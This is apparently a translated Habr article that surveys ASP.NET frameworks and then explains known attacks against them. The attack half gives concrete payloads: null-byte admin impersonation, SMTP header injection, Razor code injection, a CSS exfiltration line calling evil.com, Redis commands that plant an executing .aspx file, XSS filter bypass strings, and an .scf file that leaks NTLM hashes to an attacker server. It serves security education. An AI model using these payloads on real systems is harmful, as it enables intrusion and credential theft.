Apakah mungkin untuk meretas infrastruktur ASP?



Seperti yang dikatakan para pakar keamanan informasi, "Mereka menghancurkan segalanya, semua orang dan selalu." Pada saat yang sama, serangan terhadap ASP.NET adalah hal yang langka. Karena itu, selalu sangat ingin tahu untuk mempelajari sesuatu yang baru tentang ini. Di bawah potongan, kisah Aleksey Morozov, spesialis di departemen keamanan informasi Rambler Group, tentang kekuatan dan kelemahan teknologi ini.

Pendahuluan


ASP hari ini telah mendapatkan popularitasnya sebagai alat untuk membuat proyek-proyek menengah dan besar. Dan, seperti solusi populer lainnya, ASP.NET juga menarik bagi peneliti, peretas, dan penguji keamanan eksternal.

Artikel ini membahas potensi masalah keamanan ASP.NET dalam berbagai versi. Namun, perlu dicatat bahwa ASP jauh lebih rendah dalam jumlah solusi untuk PHP yang sama, dan ini disebabkan oleh banyak faktor.

Tidak seperti PHP, menggunakan ASP biasanya jauh lebih rumit dan mahal (menggunakan versi komersial IIS, lingkungan pengembangan Visual Studio). Sampai saat ini (munculnya ASP.NET Core), penggunaan hanya mungkin dilakukan di Windows dan di server web IIS. Penempatannya juga lebih rumit.

ASP ( Active Server Pages ) adalah teknologi Microsoft untuk membuat halaman dinamis.

Deskripsi: teknologi ini memungkinkan untuk membuat halaman HTML dengan sisipan dalam bahasa Jscript (sangat mirip dengan JavaScript, tetapi selain skrip klien, ia memiliki sejumlah opsi untuk bekerja dengan sistem operasi Windows dan sisipan server pada ASP)

Contoh :

<% @ Language = "JScript" %><% Response.Write("Hello World!"); %> 

ASP.NET

Putaran berikutnya dari pengembangan teknologi adalah pembuatan kernel ASP berdasarkan kerangka Net. Akibatnya, ASP menerima semua fitur dari solusi ini, yaitu:

  • penggunaan berbagai bahasa pemrograman (C #, Visual Basic.NET, J # dan JScript .NET);
  • peningkatan kecepatan dibandingkan dengan teknologi scripting, sejak pertama kali kode dikompilasi dan ditempatkan dalam cache khusus, dan selanjutnya hanya dieksekusi, tanpa memerlukan penguraian yang memakan waktu, optimisasi;
  • kode yang dikompilasi yang memungkinkan Anda menangkap kesalahan dengan lebih baik, sehingga proses debugging itu sendiri menjadi lebih efisien;
  • kemampuan untuk me-cache halaman;
  • pemisahan presentasi dari logika bisnis.

Berdasarkan solusi ASP.NET, teknologi berikut telah dibuat, yang akan kami pertimbangkan.

ASP.NET Ajax adalah salah satu ekstensi ASP.NET yang memungkinkan Anda menggunakan Ajax untuk memperbarui bagian konten secara tidak sinkron.

Contoh :

 <asp:Button ID="Button1" runat="server" Text="Refresh" /> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <Triggers> <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" /> </Triggers> <ContentTemplate> <span><%= DateTime.Now %></span> </ContentTemplate> </asp:UpdatePanel> 

Formulir Web ASP.NET - evolusi baru teknologi ASP, di mana ada transisi ke model berorientasi komponen untuk membangun aplikasi.

Deskripsi:

Model Formulir Web didasarkan pada tiga konsep dasar: postback halaman, kondisi tampilan, dan kontrol server. Setiap permintaan HTTP yang dikirim ke server web dan dipetakan ke runtime ASP.NET melewati beberapa tahap di mana pemrosesan acara postback menjadi pusat perhatian. Peristiwa postback adalah tindakan utama yang diharapkan pengguna terima sebagai hasil dari pemrosesan permintaannya. (mis. klik tombol).

Sederhananya, ada kontrol tradisional (kontrol) dan model pengembangan yang digerakkan oleh peristiwa.

Contoh :

Tampilan (file aspx) adalah sisi klien.

 <%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" Inherits="SamplePage" AutoEventWireup="true" %> <html> <head runat="server" > <title>Code-Behind Page Model</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label id="Label1" runat="server" Text="Label" > </asp:Label> <br /> <asp:Button id="Button1" runat="server" onclick="Button1_Click" Text="Button" > </asp:Button> </div> </form> </body> </html> 

Pemrosesan logis (file cs (jika menggunakan C #)) - sisi server.

 using System; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SamplePage : System.Web.UI.Page { protected void Button1_Click(object sender, EventArgs e) { Label1.Text = "Clicked at " + DateTime.Now.ToString(); } } 

ASP.NET Web API adalah ekstensi lain yang memungkinkan Anda membuat layanan API untuk pengembangan dan interaksi yang lebih nyaman dengan aplikasi.

Contoh :

 [HttpDelete("{id}")] public IActionResult Delete(long id) { var todo = _context.TodoItems.Find(id); if (todo == null) { return NotFound(); } _context.TodoItems.Remove(todo); _context.SaveChanges(); return NoContent(); } 

ASP.NET MVC - tahap selanjutnya dalam pengembangan teknologi terjadi setelah pemisahan logika bisnis menjadi tiga komponen pola MVC (Model-View-Controller). Mesin pisau cukur juga sedang diperkenalkan dan menjadi mungkin untuk secara mandiri menyesuaikan elemen yang dikelola situs, yang sangat sulit dengan Formulir Web.

Keuntungan :

  • manajemen struktur yang kompleks difasilitasi dengan membagi aplikasi menjadi model, presentasi, dan pengontrol;
  • lihat status dan formulir server tidak digunakan. Ini membuat platform MVC ideal untuk pengembang yang membutuhkan kontrol penuh atas perilaku aplikasi;
  • Sirkuit pengontrol utama tempat permintaan aplikasi web diproses melalui pengontrol tunggal. Ini memungkinkan Anda membuat aplikasi yang mendukung infrastruktur perutean yang diperluas;
  • Sangat cocok untuk aplikasi web yang didukung oleh tim pengembangan besar.

Contoh :

Lihat

 @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>SomeView</title> </head> <body> <div> <h2>@ViewBag.Message</h2> </div> </body> </html> 

Model

 using System; using System.ComponentModel; using System.ComponentModel.DataAnnotations; namespace MvcModels.Models { public partial class User { public int UserId { get; set; } [DisplayName("")] public string FirstName { get; set; } [DisplayName("")] public string LastName { get; set; } [DisplayName(" ")] [DataType(DataType.Date)] public DateTime BirthDate { get; set; } } } 

Pengendali

 using System.Web.Mvc; namespace NonCompiledMvc.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)"It Works!"); } } } 

ASP.NET Core - Terobosan berikutnya dalam ASP.NET menjadi cross-platform, dengan dukungan untuk C # 7.0.
TeknologiKekuatanKelemahan
Halaman Server Aktif, ASPTujuan bersamaDitafsirkan saat runtime, mendukung "kode spageti"
Formulir Web ASP.NET 1.0 / 1.1Dikompilasi, UI, mendukung OOPThroughput yang berat, HTML yang rumit, tidak dapat diuji
Formulir Web ASP.NET 2.0--
ASP.NET AjaxImplementasi AjaxKompleksitas yang tidak masuk akal, kurangnya fleksibilitas
Formulir Web ASP.NET 3.5-4.0--
ASP.NET MVC 1.0-5.0Model pengembangan benar-benar berubah. Ada fleksibilitasKurangnya cross-platform. Tidak dapat dikompilasi dengan cepat
ASP.NET CoreCross-platforming muncul. Sumber terbuka-

Otentikasi dalam ASP.NET


Ada tiga jenis otentikasi dalam ASP.NET MVC yang secara signifikan berbeda satu sama lain.

  • Tanpa Otentikasi: ASP.NET Identity dan tidak ada sistem otentikasi bawaan;
  • Akun Pengguna Perorangan: proyek secara default termasuk sistem ASP.NET Identity, yang memungkinkan Anda untuk mengotorisasi pengguna baik dalam aplikasi dan menggunakan layanan eksternal seperti google, twitter, dll.
  • Akun Organisasi: cocok untuk situs dan aplikasi web dari masing-masing perusahaan dan organisasi;
  • Otentikasi Windows: Sistem otentikasi untuk jaringan intranet menggunakan akun Windows.



ASP.NET dalam hal peretasan


Seperti halnya teknologi apa pun, ASP.NET telah diretas. Di bawah ini kami akan menjelaskan studi keamanan paling populer, termasuk tidak hanya dalam ASP itu sendiri, tetapi juga dalam hubungannya dengan infrastruktur.

Statistik CVE



Seperti dapat dilihat dari tabel, statistik temuan sangat sedikit. Ini karena ASP.NET membutuhkan pengetahuan yang baik untuk memeriksanya secara rinci. Dan juga sumber daya di dalamnya jauh lebih sedikit daripada di PHP yang sama.

Menggunakan byte nol untuk memotong otorisasi

CVE: CVE-2011-3416
Deskripsi: dimungkinkan untuk melewati otorisasi.

Algoritma:

  1. Daftarkan akun baru dengan nama pengguna yang ada;
  2. Saat mendaftar, tambahkan null-byte dan karakter tambahan (admin% 0012sd);
  3. Dengan demikian, pemeriksaan keunikan akan berlalu. Pengguna "admin" baru akan dibuat dengan peran yang sama, tetapi dengan kata sandi baru.

Contoh kode rentan :

 If (IsPostBack) { String name = Request.Form[β€œname”]; String password = Request.Form[β€œpassword”]; If (name != null && password != null && FormsAuthentication.Authenticate(name, password)) { FormsAuthentication.SetAuthCookie(name, false); Response.Redirect(Request[β€œReturnUrl”] ?? β€œ/”); } Else { ModelState.AddModeError(β€œfail”, β€œ   .” + β€œ   ”); } } 

Bukti-Konsep :


Solusi: kesalahan ini diperbaiki di .Net 3.5

Debugging jarak jauh

Deskripsi: karena ASP.NET adalah aplikasi yang dikompilasi, ia memiliki fitur debugging tertentu. Microsoft memungkinkan Anda untuk menggunakan debugger jarak jauh untuk bekerja pada versi debug aplikasi.

Jika port ini terbuka di Internet dan dilindungi oleh kata sandi sederhana atau tidak ada kata sandi sama sekali, maka dimungkinkan untuk mengambil debugger. Selanjutnya, ini akan memungkinkan Anda untuk mempengaruhi aplikasi dalam mode DEBUG. Termasuk mencabut kata sandi, mengubah logika, melakukan penelusuran, dll.

Bukti-Konsep :



Solusi: gunakan kata sandi yang kuat dan jangan memaparkan layanan untuk debugging.

Injeksi Header SMTP

Deskripsi: Anda perlu memanggil kembali sedikit spesifikasi protokol SMTP.
Contoh tampilan paket pesan sederhana SMTP biasa:

 Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST) Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST) From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> X-Mailer: Loris v2.32  Lunch today? 

Jelas, dengan tidak adanya validasi dari nilai yang jatuh ke header "To", dimungkinkan untuk mengalihkan surat itu ke penerima yang lain. Tetapi itu akan terlalu sederhana dan jelas, sehingga validasi sudah terjadi di tingkat .Net.

Namun, jika Anda memperkenalkan tajuk Balas-Ke baru - alamat untuk jawaban, maka banyak bentuk seperti "Kata sandi yang dilupakan" sering mengambil alamat pengiriman darinya, oleh karena itu, cukup untuk memperkenalkan karakter carriage return dan line feed dan mendapatkan beban kerja.

 ... From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> ...      : From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Reply-To: hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> 

Contoh kode rentan:

 MailAddress from = new MailAddress(β€œ******@mail.ru", β€œtest"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = ""; m.Body = "-"; m.Headers.Add(β€œTo", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(β€œ******@mail.ru", β€œ******"); smtp.EnableSsl = true; smtp.Send(m); 

Bukti-Konsep :


Solusi: jangan menulis kode rumit, gunakan .Net segar

RCE dalam Tampilan Parsial

Deskripsi: Ada dua konsep penting dalam terminologi ASP.NET MVC:
Lihat adalah tampilan yang dilihat pengguna. Seperti yang sudah disebutkan, berkat mesin silet atau web form, dimungkinkan untuk mengimplementasikan kode sisi server.
Tampilan Parsial - Tampilan Parsial . Ini adalah bagian dari isi View, yang diambil dalam file terpisah untuk kenyamanan.

Penting untuk memiliki beberapa bidang dalam Tampilan Parsial, yang dirender dalam html, dan di mana dimungkinkan untuk memasukkan muatan berbahaya.

Contoh memuat: mendapatkan kata sandi pengguna saat ini

 @((Account.Models.User)Session[β€œUser”].Password 

Sebagai hasil dari memasuki View, kode ini akan dieksekusi. Karena arahan akan diakui sebagai mesin pisau cukur. Gambar di bawah ini menunjukkan bagaimana ini terjadi.

Algoritma:

  1. Pengguna membuat permintaan ke controller;
  2. Kontroler menampilkan View;
  3. Di dalam Tampilan, Tampilan Parsial ditemui, setelah itu permintaan kembali dilakukan ke controller, yang bertanggung jawab untuk menampilkan tampilan parsial;
  4. Tampilan Parsial yang telah selesai dikembalikan ke primer, dan primer ke pengguna.



Bukti-Konsep :



Contoh sederhana :

 @{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view –   @model string @{ Layout = null; } @Model Index view –   @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); } 

Bukti-Konsep :



PS Mencoba untuk mereproduksi tidak berhasil.

Injeksi CSRF & CSS

Kerentanan ini menyiratkan interaksi dengan pengguna.

CSRF (Pemalsuan Permintaan Lintas Situs) - pemalsuan permintaan lintas situs.

Algoritma:

  1. Pengguna datang ke situs peretas;
  2. Mengisi bidang isian;
  3. Data dari formulir dikirim ke situs lain atas nama pengguna dan dengan perannya;
  4. Dengan demikian, pengguna, tanpa disadari, melakukan beberapa tindakan pada sumber daya lain.

Untuk melindungi dari jenis serangan ini, token CSRF diciptakan, sebagai aturan, ini adalah string yang berisi urutan karakter.

Sebuah kerentanan ditemukan yang menghindari perlindungan terhadap CSRF. Itu hanya perlu menggunakan string yang jauh lebih sedikit daripada yang asli sebagai token.

Token biasa

 <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" /> 

Token yang rentan

 <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" /> 

Beban untuk mencuri token melalui CSS (bukan XSS):
Dalam kasus ketika memotong token tidak membantu, Anda dapat menggunakan serangan CSS-Injection, yang memungkinkan Anda untuk mencuri token dari halaman dan menariknya pada sumber daya Anda. Berkat ini, token nyata diberikan kepada pengguna, dan permintaan yang diperlukan di situs dibuat atas namanya.

Muat contoh :

 %0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track-piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;} 

XXE di DocX

Deskripsi: ASP.NET, seperti teknologi lainnya, menggunakan banyak solusi pihak ketiga. Dalam salah satu solusi ini diintegrasikan ke dalam ASP.NET, kerentanan XXE (XML External Entities) ditemukan, yang terdiri dari kesalahan parser xml dan kemampuan untuk menghubungkan entitas eksternal yang mungkin berisi data penting. Baca lebih lanjut tentang XXE di halaman OWASP .

Dalam hal ini, komponen bertanggung jawab untuk memuat dan mem-parsing file docx (Microsoft World). Karena dokumen Office apa pun sebenarnya adalah satu set file xml, parsing dapat menyebabkan serangan XXE.

Algoritma:

  1. Dokumen kantor yang tidak dibungkus;
  2. Beban sedang diperkenalkan;
  3. Itu dikemas kembali sebagai docx;
  4. Itu dituangkan ke server untuk diproses, di mana komponen yang rentan digunakan.

Bukti-Konsep :



RCE via Redis

Deskripsi: Selain komponen yang rentan, peretasan ASP.NET dapat dikombinasikan dengan teknologi yang rentan. Sebagai contoh, kerentanan lama dikenal dalam sistem penyimpanan Redis RAM yang memungkinkan kode arbitrer untuk dieksekusi di sisi server. Selanjutnya, serangan ini akan dipertimbangkan dalam kaitannya dengan ASP.

Algoritma:

  1. Koneksi ke Redis. Adalah penting bahwa ini berjalan pada server yang sama dengan server web;
  2. Melakukan daftar berikut dan menggunakan server web untuk melihat halaman yang dihasilkan, kode arbitrer akan dieksekusi. Dalam hal ini, panggil kalkulator:

 config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>' save 

Bukti-Konsep :



XSS ByPass Filter

ASP.NET memiliki mekanisme sendiri untuk memfilter data dari serangan kelas XSS. Saat Anda mencoba mentransfer karakter atau tanda tangan yang dilarang, perlindungan berikut ini dipicu:



Namun, ada banyak cara untuk menyiasati perlindungan ini. Inilah beberapa di antaranya:

  • % EF% BC% 9Cimg% 20src% 3Dxxx% 20atau% peringatan 3D (1) % EF% BC% 9E
  • <- / script> lansiran (1) ;
  • </ XSS / * - * / STYLE = xss: e / ** / xpression ( lansiran ('XSS') )>
  • % uff1script% uff1e lansiran ('XSS') ;% uff1c / script% uff1e

Dalam versi terbaru, metode ini tidak lagi berfungsi, namun, seperti yang telah disebutkan, teknologi ASP.NET dibuat terutama untuk proyek-proyek besar dan panjang, sehingga banyak sumber daya dapat dipengaruhi oleh kerentanan ini.

File perintah shell

Deskripsi: Belum lama ini, kerentanan yang terkait dengan browser Google Chrome bergemuruh, intinya adalah untuk mencuri hash NTLM pengguna.

Algoritma:

1) File disiapkan dengan ekstensi scf dan konten berikut

 [Shell] IconFile=\\***.**.*.***\icon 

di mana alih-alih tanda bintang ip adalah alamat server seseorang dari penyerang;

2) Ketika sampai ke komputer pengguna, file ini bahkan tidak memerlukan pembukaan. Cukup bagi pengguna untuk hanya pergi ke folder yang sama di mana file ini berada. Segera setelah ini terjadi, paket hash akan dikirim ke server SMB;

3) Dengan demikian, peretasan infrastruktur juga dapat dikombinasikan dengan kerentanan sederhana seperti Open Redirect.

Bukti-Konsep :




Terima kasih atas perhatian anda! Bagikan pengalaman Anda dan berikan pertanyaan kepada Alexei Morozov (alias SoolFaa ) di komentar untuk artikel ini.

Source: https://habr.com/ru/post/id413649/


All Articles